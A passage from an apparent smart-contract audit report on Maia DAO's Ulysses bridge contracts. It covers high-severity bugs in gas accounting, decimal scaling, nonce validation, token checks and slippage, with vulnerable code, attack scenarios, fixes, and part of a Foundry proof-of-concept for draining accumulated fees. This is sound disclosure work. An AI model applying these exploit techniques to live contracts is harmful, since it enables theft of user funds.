}
/**
@notice Execute a cross chain interaction
@dev Only callable by the MPC
@param _to The cross chain interaction target
@param _data The calldata supplied for interacting with target
@param _appID The app identifier to check whitelist
@param _ctx The context of the request on originating chain
@param _extdata The extension data for execute context
*/
// Note: changed from callback to memory so we can call it from the test contract
function anyExec(
address _to,
bytes memory _data,
string memory _appID,
RequestContext memory _ctx,
bytes memory _extdata
)
external
virtual
lock
whenNotPaused
chargeDestFee(_to, _ctx.flags)
onlyMPC
{
IAnycallConfig(config).checkExec(_appID, _ctx.from, _to);
bytes32 uniqID = calcUniqID(
_ctx.txhash,
_ctx.from,
_ctx.fromChainID,
_ctx.nonce
);
require(!execCompleted[uniqID], "exec completed");
bool success = _execute(_to, _data, _ctx, _extdata);
// success = false on purpose, because when it is true, it consumes less gas. so we are considering worse case here
// set exec completed (dont care success status)
execCompleted[uniqID] = true;
if (!success) {
if (_isSet(_ctx.flags, AnycallFlags.FLAG_ALLOW_FALLBACK)) {
// this will be executed here since the call failed
// Call the fallback on the originating chain
nonce++;
string memory appID = _appID; // fix Stack too deep
emit Log`AnyCall`(
_to,
_ctx.from,
_data,
_ctx.fromChainID,
AnycallFlags.FLAG_EXEC_FALLBACK |
AnycallFlags.FLAG_PAY_FEE_ON_DEST, // pay fee on dest chain
appID,
nonce,
""
);
} else {
// Store retry record and emit a log
bytes memory data = _data; // fix Stack too deep
retryExecRecords[uniqID] = keccak256(abi.encode(_to, data));
emit StoreRetryExecRecord(
_ctx.txhash,
_ctx.from,
_to,
_ctx.fromChainID,
_ctx.nonce,
data
);
}
}
}
}
contract GasCalc`AnyCall`v7 is DSTest, Test {
AnycallV7 anycallV7;
address mpc = vm.addr(7);
function setUp() public {
anycallV7 = new AnycallV7(mpc);
}
function test_gasInanycallv7() public {
vm.prank(mpc);
AnycallV7.RequestContext memory ctx = AnycallV7.RequestContext({
txhash:keccak256(""),
from:address(0),
fromChainID:1,
nonce:1,
flags:AnycallFlags.FLAG_ALLOW_FALLBACK
});
uint256 gasStart_ = gasleft();
anycallV7.anyExec(address(0),bytes(""),"1",ctx,bytes(""));
uint256 gasEnd_ = gasleft();
vm.stopPrank();
uint256 gasSpent_ = gasStart_ - gasEnd_;
console.log("anycallV7.anyExec Gas Spent => %d", gasSpent_);
}
}
Recommended Mitigation Steps
Increase the MIN_FALLBACK_RESERVE
by 115_000
to consider the anyExec
method in AnyCall
. So MIN_FALLBACK_RESERVE
becomes 300_000
instead of 185_000
.
Additionally, calculate the gas consumption of the input data passed and add it to the cost. This should be done when the call was made in the first place.
Note: I suggest that the MIN_FALLBACK_RESERVE
should be configurable/changeable. After launching OmniChain
for some time, collect stats about the actual gas used for AnyCall
on the chain then adjust it accordingly. This also keeps you on the safe side in case any changes are applied on AnyCall
contracts in the future, since it is upgradeable.
0xBugsy (Maia) disagreed with severity and commented:
We should add
premium()
uint256 to match their gas cost calculationtotalCost = gasUsed * (tx.gasprice + _feeData.premium)
and abide by it since these are the calculations under which we will be charged in the execution budget.
Unless there is additional reasoning to why the impact is reduced, High seems appropriate.
0xBugsy (Maia) confirmed and commented:
We recognize the audit’s findings on Anycall Gas Management. These will not be rectified due to the upcoming migration of this section to LayerZero.
[H-05] Multiple issues with decimal scaling will cause incorrect accounting of hTokens and underlying tokens
Submitted by peakbolt, also found by BPZ (1, 2, 3), RED-LOTUS-REACH, 0xTheC0der, ltyu (1, 2, 3, 4, 5), bin2chen (1, 2), kodyvim (1, 2), 0xStalin (1, 2), LokiThe5th, ubermensch, adeolu, jasonxiale, and kutugu
Lines of code
https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L313 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L696 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L745
Vulnerability details
Functions _normalizeDecimals()
and _denormalizeDecimals()
are used to handle non-18 decimal tokens when bridging a deposit by scaling them to a normalized 18 decimal form for hToken
accounting, and then de-normalizing them to the token’s decimals when interacting with the underlying token.
However, there are 3 issues as follows:
- Implementations of
_normalizeDecimals()
and_denormalizeDecimals()
are reversed. - The function
_denormalizeDecimals()
is missing inArbitrumBranchPort.depositToPort()
. - The function
_normalizeDecimals()
is missing in functions withinBranchBridgeAgent
.
These issues will cause an incorrect accounting of hTokens
and underlying tokens in the system.
Impact
An incorrect decimal scaling will lead to a loss of funds, as the amount deposited and withdrawn for bridging will be inaccurate. This can be abused by an attacker or result in users incurring losses.
For example, an attacker can abuse the ArbitrumBranchPort.depositToPort()
issue and steal from the system by first depositing a token that has more than 18 decimals. The attacker will receive more hTokens
than the deposited underlying token amount. The attacker can then make a profit by withdrawing from the port with the excess hTokens
.
On the other hand, if the underlying token is less than 18 decimals, the depositor can incur losses, as the amount of underlying tokens deposited will be more than the amount of hTokens
received.
Issue #1
The functions BranchBridgeAgent._normalizeDecimals()
and BranchPort._denormalizeDecimals()
(shown below) are incorrect, as they are implemented in a reversed manner; such that _denormalizeDecimals()
is normalizing to 18 decimals while _normalizeDecimals()
is de-normalizing to the underlying token decimals.
The result is that for tokens with > 18 decimals, _normalizeDecimals()
will overscale the decimals, while for tokens with < 18 decimals, _normalizeDecimals()
will underscale the decimals.
function _normalizeDecimals(uint256 _amount, uint8 _decimals) internal pure returns (uint256) {
return _decimals == 18 ? _amount : _amount * (10 ** _decimals) / 1 ether;
}
https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchPort.sol#L388-L390
function _denormalizeDecimals(uint256 _amount, uint8 _decimals) internal pure returns (uint256) {
return _decimals == 18 ? _amount : _amount * 1 ether / (10 ** _decimals);
}
Issue #2
The function ArbitrumBranchPort.depositToPort()
is missing the call _denormalizeDecimals()
to scale back the decimals of the underlying token amounts before transferring. This will cause the wrong amount of the underlying tokens to be transferred.
As shown below, the function ArbitrumBranchBridgeAgent.depositToPort()
has normalized the “amount” to 18 decimals before passing into ArbitrumBranchPort.depositToPort()
.
function depositToPort(address underlyingAddress, uint256 amount) external payable lock {
//@audit - amount is normalized to 18 decimals here
IArbPort(localPortAddress).depositToPort(
msg.sender, msg.sender, underlyingAddress, _normalizeDecimals(amount, ERC20(underlyingAddress).decimals())
);
}
That means, the _deposit
amount for ArbitrumBranchPort.depositToPort()
(see below) will be incorrect, as it is not de-normalized back to the underlying token’s decimal, causing the wrong value to be transferred from the depositor.
If the underlying token is more than 18 decimals, the depositor will transfer less underlying tokens than the hToken
received, resulting in excess hTokens
. The depositor can then call withdrawFromPort()
to receive more underlying tokens than deposited.
If the underlying token is less than 18 decimals, that will inflate the amount to be transferred from the depositor, causing the depositor to deposit more underlying tokens than the amount of hToken
received. The depositor will incur a loss when withdrawing from the port.
Instead, the _deposit
should be de-normalized in ArbitrumBranchPort.depositToPort()
when passing to _underlyingAddress.safeTransferFrom()
, so that it is scaled back to the underlying token’s decimals when transferring.
function depositToPort(address _depositor, address _recipient, address _underlyingAddress, uint256 _deposit)
external
requiresBridgeAgent
{
address globalToken = IRootPort(rootPortAddress).getLocalTokenFromUnder(_underlyingAddress, localChainId);
if (globalToken == address(0)) revert UnknownUnderlyingToken();
//@audit - the amount of underlying token should be denormalized first before transferring
_underlyingAddress.safeTransferFrom(_depositor, address(this), _deposit);
IRootPort(rootPortAddress).mintToLocalBranch(_recipient, globalToken, _deposit);
}
Issue #3
In BranchBridgeAgent
, the deposit amount passed into _depositAndCall()
and _depositAndCallMultiple()
are missing _normalizeDecimals()
.
The example below shows callOutSignedAndBridge()
, but the issue is also present in callOutAndBridge()
, callOutSignedAndBridgeMultiple()
and callOutAndBridgeMultiple()
.
function callOutSignedAndBridge(bytes calldata _params, DepositInput memory _dParams, uint128 _remoteExecutionGas)
external
payable
lock
requiresFallbackGas
{
//Encode Data for cross-chain call.
bytes memory packedData = abi.encodePacked(
bytes1(0x05),
msg.sender,
depositNonce,
_dParams.hToken,
_dParams.token,
_dParams.amount,
_normalizeDecimals(_dParams.deposit, ERC20(_dParams.token).decimals()),
_dParams.toChain,
_params,
msg.value.toUint128(),
_remoteExecutionGas
);
//Wrap the gas allocated for omnichain execution.
wrappedNativeToken.deposit{value: msg.value}();
//Create Deposit and Send Cross-Chain request
_depositAndCall(
msg.sender,
packedData,
_dParams.hToken,
_dParams.token,
_dParams.amount,
//@audit - the deposit amount of underlying token should be noramlized first
_dParams.deposit,
msg.value.toUint128()
);
}
This will affect _createDepositSingle()
and _createDepositMultiple()
, leading to incorrect decimals for IPort(localPortAddress).bridgeOut()
, which will affect hToken
burning and the deposit of underlying tokens.
At the same time, the deposits to be stored in getDeposit[]
are also not normalized, causing a mismatch of decimals when clearToken()
is called via redeemDeposit()
.
function _createDepositSingle(
address _user,
address _hToken,
address _token,
uint256 _amount,
uint256 _deposit,
uint128 _gasToBridgeOut
) internal {
//Deposit / Lock Tokens into Port
IPort(localPortAddress).bridgeOut(_user, _hToken, _token, _amount, _deposit);
//Deposit Gas to Port
_depositGas(_gasToBridgeOut);
// Cast to dynamic memory array
address[] memory hTokens = new address[](1);
hTokens[0] = _hToken;
address[] memory tokens = new address[](1);
tokens[0] = _token;
uint256[] memory amounts = new uint256[](1);
amounts[0] = _amount;
uint256[] memory deposits = new uint256[](1);
deposits[0] = _deposit;
// Update State
getDeposit[_getAndIncrementDepositNonce()] = Deposit({
owner: _user,
hTokens: hTokens,
tokens: tokens,
amounts: amounts,
//@audit the deposits stored is not normalized, causing a mismatch of decimals when `clearToken()` is called via `redeemDeposit()`
deposits: deposits,
status: DepositStatus.Success,
depositedGas: _gasToBridgeOut
});
}
Recommended Mitigation Steps
- Switch the implementation of
_normalizeDecimals()
to_denormalizeDecimals()
and vice versa. - Add
_denormalizeDecimals()
toArbitrumBranchPort.depositToPort()
when callingIRootPort(rootPortAddress).mintToLocalBranch()
. - Utilize
_normalizeDecimals()
when passing deposit amounts to_depositAndCall()
and_depositAndCallMultiple()
withinBranchBridgeAgent
.
Assessed type
Decimal
We recognize the audit’s findings on Decimal Conversion for Ulysses AMM. These will not be rectified due to the upcoming migration of this section to Balancer Stable Pools.
[H-06] withdrawProtocolFees()
Possible malicious or accidental withdrawal of all rewards
Submitted by bin2chen, also found by lukejohn and tsvetanovv (1, 2)
The function claimReward()
will take all of the rewards if the amountRequested
it’s passed in is 0, which may result in the user’s rewards being lost.
Proof of Concept
In BoostAggregator.withdrawProtocolFees()
, the owner can take the protocolRewards
.
The code is as follows:
function withdrawProtocolFees(address to) external onlyOwner {
uniswapV3Staker.claimReward(to, protocolRewards);
@> delete protocolRewards;
}
From the above code, we can see that uniswapV3Staker
is called to fetch and then clears protocolRewards
.
Let’s look at the implementation of uniswapV3Staker.claimReward()
:
contract UniswapV3Staker is IUniswapV3Staker, Multicallable {
....
function claimReward(address to, uint256 amountRequested) external returns (uint256 reward) {
reward = rewards[msg.sender];
@> if (amountRequested != 0 && amountRequested < reward) {
reward = amountRequested;
rewards[msg.sender] -= reward;
} else {
rewards[msg.sender] = 0;
}
if (reward > 0) hermes.safeTransfer(to, reward);
emit RewardClaimed(to, reward);
}
The current implementation is if the amountRequested==0
passed, it means that all rewards[msg.sender]
of this msg.sender
are taken.
This leads to the following problems:
- If a malicious
owner
callswithdrawProtocolFees()
twice in a row, it will take all of therewards
in theBoostAggregator
. - Also, you probably didn’t realize that
withdrawProtocolFees()
was called whenprotocolRewards==0
.
As a result, the rewards that belong to users in BoostAggregator
are lost.
Recommended Mitigation Steps
Modify claimReward()
to remove amountRequested != 0
:
contract UniswapV3Staker is IUniswapV3Staker, Multicallable {
....
function claimReward(address to, uint256 amountRequested) external returns (uint256 reward) {
reward = rewards[msg.sender];
- if (amountRequested != 0 && amountRequested < reward) {
+ if (amountRequested < reward) {
reward = amountRequested;
rewards[msg.sender] -= reward;
} else {
rewards[msg.sender] = 0;
}
if (reward > 0) hermes.safeTransfer(to, reward);
emit RewardClaimed(to, reward);
}
Assessed type
Context
We prefer to leave the original
UniswapV3Staker
claim logic intact and have theBoostAggregator
not allow the owner or stakers to claim 0 rewards.
Addressed here.
[H-07] redeem()
in beforeRedeem
is using the wrong owner parameter
Submitted by bin2chen
Using the wrong owner parameter can cause users to lose rewards.
Proof of Concept
In TalosStrategyStaked.sol
, if the user’s shares
have changed, we need to call flywheel.accrue()
first, which will accrue rewards
and update the corresponding userIndex
. This way, we can ensure the accuracy of rewards
. So we will call flywheel.accrue()
before beforeDeposit
/beforeRedeem
/transfer etc.
Take redeem()
as an example, the code is as follows:
contract TalosStrategyStaked is TalosStrategySimple, ITalosStrategyStaked {
...
function beforeRedeem(uint256 _tokenId, address _owner) internal override {
_earnFees(_tokenId);
@> flywheel.accrue(_owner);
}
But when beforeRedeem()
is called with the wrong owner passed in. The redeem()
code is as follows:
function redeem(uint256 shares, uint256 amount0Min, uint256 amount1Min, address receiver, address _owner)
public
virtual
override
nonReentrant
checkDeviation
returns (uint256 amount0, uint256 amount1)
{
...
if (msg.sender != _owner) {
uint256 allowed = allowance[_owner][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[_owner][msg.sender] = allowed - shares;
}
if (shares == 0) revert RedeemingZeroShares();
if (receiver == address(0)) revert ReceiverIsZeroAddress();
uint256 _tokenId = tokenId;
@> beforeRedeem(_tokenId, receiver);
INonfungiblePositionManager _nonfungiblePositionManager = nonfungiblePositionManager; // Saves an extra SLOAD
{
uint128 liquidityToDecrease = uint128((liquidity * shares) / totalSupply);
(amount0, amount1) = _nonfungiblePositionManager.decreaseLiquidity(
INonfungiblePositionManager.DecreaseLiquidityParams({
tokenId: _tokenId,
liquidity: liquidityToDecrease,
amount0Min: amount0Min,
amount1Min: amount1Min,
deadline: block.timestamp
})
);
if (amount0 == 0 && amount1 == 0) revert AmountsAreZero();
@> _burn(_owner, shares);
liquidity -= liquidityToDecrease;
}
From the above code, we see that the parameter is the receiver
, but the person whose shares are burned is _owner
.
We need to accrue _owner
, not receiver
. This leads to a direct reduction of the user’s shares without accrue
, and the user loses the corresponding rewards.
Recommended Mitigation Steps
function redeem(uint256 shares, uint256 amount0Min, uint256 amount1Min, address receiver, address _owner)
public
virtual
override
nonReentrant
checkDeviation
returns (uint256 amount0, uint256 amount1)
{
if (msg.sender != _owner) {
uint256 allowed = allowance[_owner][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[_owner][msg.sender] = allowed - shares;
}
if (shares == 0) revert RedeemingZeroShares();
if (receiver == address(0)) revert ReceiverIsZeroAddress();
uint256 _tokenId = tokenId;
- beforeRedeem(_tokenId, receiver);
+ beforeRedeem(_tokenId, _owner);
Assessed type
Context
Addressed here.
[H-08] Due to inadequate checks, an adversary can call BranchBridgeAgent#retrieveDeposit
with an invalid _depositNonce
, which would lead to a loss of other users’ deposits.
Submitted by Emmanuel, also found by xuwinnie
An attacker will cause the user’s funds to be collected and locked on Branch chain without it being recorded on the root chain.
Proof of Concept
Anyone can call BranchBridgeAgent#retrieveDeposit
with an invalid _depositNonce
:
function retrieveDeposit(
uint32 _depositNonce
) external payable lock requiresFallbackGas {
//Encode Data for cross-chain call.
bytes memory packedData = abi.encodePacked(
bytes1(0x08),
_depositNonce,
msg.value.toUint128(),
uint128(0)
);
//Update State and Perform Call
_sendRetrieveOrRetry(packedData);
}
For example, if global depositNonce
is “x”, an attacker can call retrieveDeposit(x+y)
. RootBridgeAgent#anyExecute
will be called and the executionHistory
for the depositNonce
that the attacker specified would be updated to true.
function anyExecute(bytes calldata data){
...
/// DEPOSIT FLAG: 8 (retrieveDeposit)
else if (flag == 0x08) {
//Get nonce
uint32 nonce = uint32(bytes4(data[1:5]));
//Check if tx has already been executed
if (!executionHistory[fromChainId][uint32(bytes4(data[1:5]))]) {
//Toggle Nonce as executed
executionHistory[fromChainId][nonce] = true;
//Retry failed fallback
(success, result) = (false, "");
} else {
_forceRevert();
//Return true to avoid triggering anyFallback in case of `_forceRevert()` failure
return (true, "already executed tx");
}
}
...
}
This means, that when a user makes a deposit on the BranchBridgeAgent
and their deposit gets assigned a depositNonce
, which the attacker previously called retrieveDeposit
for, their tokens would be collected on the BranchBridgeAgent
, but would not succeed on RootBridgeAgent
. This is because executionHistory
for that depositNonce
has already been maliciously set to true.
Attack Scenario
- The current global
depositNonce
is 50. - An attacker calls
retrieveDeposit
(60), which would updateexecutionHistory
ofdepositNonce
(60) to true on the Root chain. - When a user tries to call any of the functions (say
callOutAndBridge
) and gets assigneddepositNonce
of 60, it won’t be executed on root chain becauseexecutionHistory
fordepositNonce
(60) is already set to true. - A user won’t also be able to claim their tokens because
anyFallback
was not triggered. So they have lost their deposit.
Recommended Mitigation Steps
A very simple and effective solution is to ensure that in the BranchBridgeAgent#retrieveDepoit
function, msg.sender==getDeposit[_depositNonce].owner
is called just like it was done in BranchBridgeAgent#retryDeposit
.
Assessed type
Invalid Validation
Addressed here.
[H-09] RootBridgeAgent->CheckParamsLib#checkParams
does not check that _dParams.token
is underlying of _dParams.hToken
Submitted by Emmanuel, also found by xuwinnie
A malicious user would make a deposit specifying a hToken
of a high value (say hEther), and a depositToken
of relatively lower value (say USDC). For that user, RootBridgeAgent
would increment their hToken
balance by the amount of depositTokens
they sent.
Proof of Concept
Here is the checkParams
function:
function checkParams(address _localPortAddress, DepositParams memory _dParams, uint24 _fromChain)
internal
view
returns (bool)
{
if (
(_dParams.amount < _dParams.deposit) //Deposit can't be greater than amount.
|| (_dParams.amount > 0 && !IPort(_localPortAddress).isLocalToken(_dParams.hToken, _fromChain)) //Check local exists.
|| (_dParams.deposit > 0 && !IPort(_localPortAddress).isUnderlyingToken(_dParams.token, _fromChain)) //Check underlying exists.
) {
return false;
}
return true;
}
The function performs 3 checks:
- The
_dParams.amount
must be less than or equal to_dParams.deposit
. - If
_dParams.amount > 0
,_dParams.hToken
must be a validlocalToken
. - If
_dParams.deposit > 0
,_dParams.token
must be a valid underlying token.
The problem is that the check only requires getLocalTokenFromUnder[_dParams.token]
!=address(0)
, but does not check that getLocalTokenFromUnder[_dParams.token]
==_dParams.hToken
:
function isUnderlyingToken(
address _underlyingToken,
uint24 _fromChain
) external view returns (bool) {
return
getLocalTokenFromUnder[_underlyingToken][_fromChain] != address(0);
}
The checkParams
function is used in the RootBridgeAgent#bridgeIn
function. This allows a user to call BranchBridgeAgent#callOutAndBridge
with a hToken
and token
that are not related.
ATTACK SCENARIO
- The current price of Ether is 1800USDC.
RootBridgeAgent
is deployed on Arbitrum.-
BranchBridgeAgent
for the Ethereum mainnet has two local tokens recorded inRootBridgeAgent
:- hEther (whose underlying is Ether).
- hUSDC (whose underlying is USDC).
-
Alice calls
BranchBridgeAgent#callOutAndBridge
on Ethereum with the following asDepositInput
(_dParams
):- hToken (address of local hEther).
- token (address of USDC).
- amount (0).
- deposit (10).
toChain
(42161).
BranchPort#bridgeOut
transfers 10 USDC from the user toBranchPort
, and theanyCall
call is made toRootBridgeAgent
.-
RootBridgeAgent#bridgeIn
is called, which callsCheckParamsLib.checkParams
.checkParams
verifies that_dParams.amount(0)
is less than or equal to_dParams.deposit
(10).- Verifies that
_dParams.hToken
(hEther) is a validlocalToken
. - Verifies that
_dParams.token
(USDC) is a valid underlying token (i.e. its local token is non zero).
RootBridgeAgent#bridgeIn
callsRootPort#bridgeToRoot
which mints 10 global hEther to the userif (_deposit > 0) mint(_recipient, _hToken, _deposit, _fromChainId);
.- With just 10 USDC, the user has been able to get 10 ether (18000USDC) worth of funds on the root chain.
Execution flow:
BranchBridgeAgent#callOutAndBridge
-> BranchBridgeAgent#_callOutAndBridge
-> BranchBridgeAgent#_depositAndCall
-> BranchBridgeAgent#_performCall
-> RootBridgeAgent#anyExecute
-> RootBridgeAgentExecutor#executeWithDeposit
-> RootBridgeAgentExecutor#_bridgeIn
-> RootBridgeAgent#bridgeIn
.
Recommended Mitigation Steps
Currently, the protocol only checks to see if the token is recognized by rootport
as an underlying token by checking that the registered local token for _dParams.token
is a non zero address.
Instead of that, it would be more effective to check that the registered local token for _dParams.token
is equal to _dParams.hToken
. Some sanity checks may also be done on DepositInput(_dParams)
in BranchBridgeAgent
. Although, this is not necessary.
Assessed type
Invalid Validation
Addressed here.
[H-10] TalosBaseStrategy#init()
lacks slippage protection
Submitted by AlexCzm, also found by los_chicos, said, and T1MOH
The checkDeviation
s modifier’s purpose is to add slippage protection for an increase/decrease in liquidity operations. It’s applied to deposit/redeem
, rerange/rebalance
but init()
is missing it.
Impact
There is no slippage protection on init()
.
Proof of Concept
In the init()
function of TalosBaseStrategy
, the following actions are performed: an initial deposit is made, a tokenId and shares are minted.
The _nonfungiblePositionManager.mint()
function is called with hardcoded values of amount0Min
and amount1Min
both set to 0. Additionally, it should be noted that the init()
function does not utilize the checkDeviation
modifier, which was specifically designed to safeguard users against slippage.
function init(uint256 amount0Desired, uint256 amount1Desired, address receiver)
external
virtual
nonReentrant
returns (uint256 shares, uint256 amount0, uint256 amount1)
{
...
(_tokenId, _liquidity, amount0, amount1) = _nonfungiblePositionManager.mint(
INonfungiblePositionManager.MintParams({
token0: address(_token0),
token1: address(_token1),
fee: poolFee,
tickLower: tickLower,
tickUpper: tickUpper,
amount0Desired: amount0Desired,
amount1Desired: amount1Desired,
amount0Min: 0,
amount1Min: 0,
recipient: address(this),
deadline: block.timestamp
})
);
...
/// @notice Function modifier that checks if price has not moved a lot recently.
/// This mitigates price manipulation during rebalance and also prevents placing orders when it's too volatile.
modifier checkDeviation() {
ITalosOptimizer _optimizer = optimizer;
pool.checkDeviation(_optimizer.maxTwapDeviation(), _optimizer.twapDuration());
_;
}
Tools Used
VS Code, uniswapv3book
Recommended Mitigation Steps
Apply checkDeviation
to init()
function.
Trust (judge) increased severity to High
Addressed here.
[H-11] An attacker can steal Accumulated Awards from RootBridgeAgent
by abusing retrySettlement()
Submitted by Voyvoda, also found by xuwinnie
Lines of code
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L238-L272
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L1018-L1054
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L860-L1174
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L244-L252
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/VirtualAccount.sol#L41-L53
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L1177-L1216
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/MulticallRootRouter.sol#L345-L409
The Accumulated Awards inside RootBridgeAgent.sol
can be stolen. The Accumulated Awards state will be compromised and awards will be stuck.
Proof of Concept
Note: An end-to-end coded PoC is at the end of the PoC section.
Gas state
The gas related state inside RootBridgeAgent
consists of:
initialGas
: a checkpoint that recordsgasleft()
at the start ofanyExecute
that has been called byMultichain
when we have a cross-chain call.userFeeInfo
: this is a struct that containsdepositedGas
which is the total amount of gas that the user has paid for on aBranchChain
. The struct also containsgasToBridgeOut
, which is the amount of gas to be used for further cross-chain executions. The assumption is thatgasToBridgeOut < depositedGas
which is checked at the start ofanyExecute(...)
.- At the end of
anyExecute(...)
: the function_payExecutionGas()
is invoked that calculates the supplied gas available for execution on the RootavaliableGas = _depositedGas - _gasToBridgeOut
and then a check is performed ifavailableGas
is enough to coverminExecCost
, (which uses theinitialGas
checkpoint and subtracts a secondgasleft()
checkpoint to represent the end of execution on the Root). The difference betweenavailableGas
andminExecCost
is the profit for the protocol is recorded insideaccumulatedFees
state variable.
function _payExecutionGas(uint128 _depositedGas, uint128 _gasToBridgeOut, uint256 _initialGas, uint24 _fromChain)
internal
{
//reset initial remote execution gas and remote execution fee information
delete(initialGas);
delete(userFeeInfo);
if (_fromChain == localChainId) return;
//Get Available Gas
uint256 availableGas = _depositedGas - _gasToBridgeOut;
//Get Root Environment Execution Cost
uint256 minExecCost = tx.gasprice * (MIN_EXECUTION_OVERHEAD + _initialGas - gasleft());
//Check if sufficient balance
if (minExecCost > availableGas) {
_forceRevert();
return;
}
//Replenish Gas
_replenishGas(minExecCost);
//Account for excess gas
accumulatedFees += availableGas - minExecCost;
}
Settlements
These are records of tokens that are “bridged out” (transferred) through the RootBridgeAgent
to a BranchBridgeAgent
. By default, when a settlement is created it is “successful”, unless the execution on the Branch Chain fails and anyFallback(...)
is called on the RootBridgeAgent
, which will set the settlement status as “failed”.
An example way to create a settlement, will be to “bridge out” some of the assets from BranchBridgeAgent
to RootBridgeAgent
and embed extra data that represents another bridge operation from RootBridgeAgent
to BranchBridgeAgent
. This flow passes through the MulticallRootRouter
and could be the same branch agent as the first one or different. At this point, a settlement will be created. Moreover, a settlement could fail, for example, because of insufficient gasToBridgeOut
provided by the user. In that case, anyFallback
is triggered on the RootBridgeAgent
, failing the settlement. At this time, retrySettlement()
becomes available to call for the particular settlement.
The attack
Let’s first examine closely the retrySettlement()
function:
function retrySettlement(uint32 _settlementNonce, uint128 _remoteExecutionGas) external payable {
//Update User Gas available.
if (initialGas == 0) {
userFeeInfo.depositedGas = uint128(msg.value);
userFeeInfo.gasToBridgeOut = _remoteExecutionGas;
}
//Clear Settlement with updated gas.
_retrySettlement(_settlementNonce);
}
If initialGas == 0
, it is assumed that someone directly calls retrySettlement(...)
and therefore has to deposit gas (msg.value
). However, if initialGas > 0
, it is assumed that retrySettlement(...)
could be part of an anyExecute(...)
call that contained instructions for the MulticallRootRouter
to do the call through a VirtualAccount
. Let’s assume the second scenario where initialGas > 0
and examine the internal _retrySettlement
:
First, we have the call to _manageGasOut(...)
, where again if initialGas > 0
, we assume that the retrySettlement(...)
is within anyExecute
; therefore, the userFeeInfo
state is already set. From there, we perform a _gasSwapOut(...)
with userFeeInfo.gasToBridgeOut
where we swap the gasToBridgeOut
amount of wrappedNative
for gas tokens that are burned. Then, back in the internal _retrySettlement(...)
, the new gas is recorded in the settlement record and the message is sent to a Branch Chain via anyCall
.
The weakness here, is that after we retry a settlement with userFeeInfo.gasToBridgeOut
we do not set userFeeInfo.gasToBridgeOut = 0
. Which if we perform only 1 retrySettlement(...)
, it is not exploitable; however, if we embed in a single anyExecute(...)
in several retrySettlement(...)
calls, it becomes obvious that we can pay 1 time for gasToBridgeOut
on a Branch Chain and use it multiple times on the RootChain
to fuel the many retrySettlement(...)
calls.
The second feature that will be part of the attack, is that on a Branch Chain we get refunded for the excess of gasToBridgeOut
that wasn’t used for execution on the Branch Chain.
function _retrySettlement(uint32 _settlementNonce) internal returns (bool) {
//Get Settlement
Settlement memory settlement = getSettlement[_settlementNonce];
//Check if Settlement hasn't been redeemed.
if (settlement.owner == address(0)) return false;
//abi encodePacked
bytes memory newGas = abi.encodePacked(_manageGasOut(settlement.toChain));
//overwrite last 16bytes of callData
for (uint256 i = 0; i < newGas.length;) {
settlement.callData[settlement.callData.length - 16 + i] = newGas[i];
unchecked {
++i;
}
}
Settlement storage settlementReference = getSettlement[_settlementNonce];
//Update Gas To Bridge Out
settlementReference.gasToBridgeOut = userFeeInfo.gasToBridgeOut;
//Set Settlement Calldata to send to Branch Chain
settlementReference.callData = settlement.callData;
//Update Settlement Status
settlementReference.status = SettlementStatus.Success;
//Retry call with additional gas
_performCall(settlement.callData, settlement.toChain);
//Retry Success
return true;
}
An attacker will trigger some number of callOutAndBridge(...)
invocations from a Branch Chain, with some assets and extra data that will call callOutAndBridge(...)
on the Root Chain to transfer back these assets to the originating Branch Chain (or any other Branch Chain). However, the attacker will set minimum depositedGas
to ensure execution on the Root Chain, but insufficient gas to complete remote execution on the Branch Chain; therefore, failing a number of settlements. The attacker will then follow with a callOutAndBridge(...)
from a Branch Chain that contains extra data for the MutlicallRouter
and for the VirtualAccount
to call retrySettlement(...)
for every “failed” settlement. Since we will have multiple retrySettlement(...)
invocations inside a single anyExecute
, at some point the gasToBridgeOut
sent to each settlement will become >
the deposited gas and we will be spending from the Root Branch reserves (accumulated rewards). The attacker will redeem their profit on the Branch Chain, since they get a gas refund. Therefore, there will also be a mismatch between accumulatedRewards
and the native currency in RootBridgeAgent
, causing sweep()
to revert and any accumulatedRewards
left will be bricked.
Coded PoC
Copy the two functions testGasIssue
and _prepareDeposit
in test/ulysses-omnichain/RootTest.t.sol
and place them in the RootTest
contract after the setup.
Execute with forge test --match-test testGasIssue -vv
.
Result: the attacker starts with 1000000000000000000
wei (1 ether) and has 1169999892307980000
wei (>1 ether) after the execution of the attack (the end number could be slightly different, depending on foundry version), which is a mismatch between accumulatedRewards
and the amount of WETH in the contract.
Note - there are console logs added from the developers in some of the mock contracts. Consider commenting them out for clarity of the output.
function testGasIssue() public {
testAddLocalTokenArbitrum();
console2.log("---------------------------------------------------------");
console2.log("-------------------- GAS ISSUE START---------------------");
console2.log("---------------------------------------------------------");
// Accumulate rewards in RootBridgeAgent
address some_user = address(0xAAEE);
hevm.deal(some_user, 1.5 ether);
// Not a valid flag, MulticallRouter will return false, that's fine, we just want to credit some fees
bytes memory empty_params = abi.encode(bytes1(0x00));
hevm.prank(some_user);
avaxMulticallBridgeAgent.callOut{value: 1.1 ether }(empty_params, 0);
// Get the global(root) address for the avax H mock token
address globalAddress = rootPort.getGlobalTokenFromLocal(avaxMockAssethToken, avaxChainId);
// Attacker starts with 1 ether
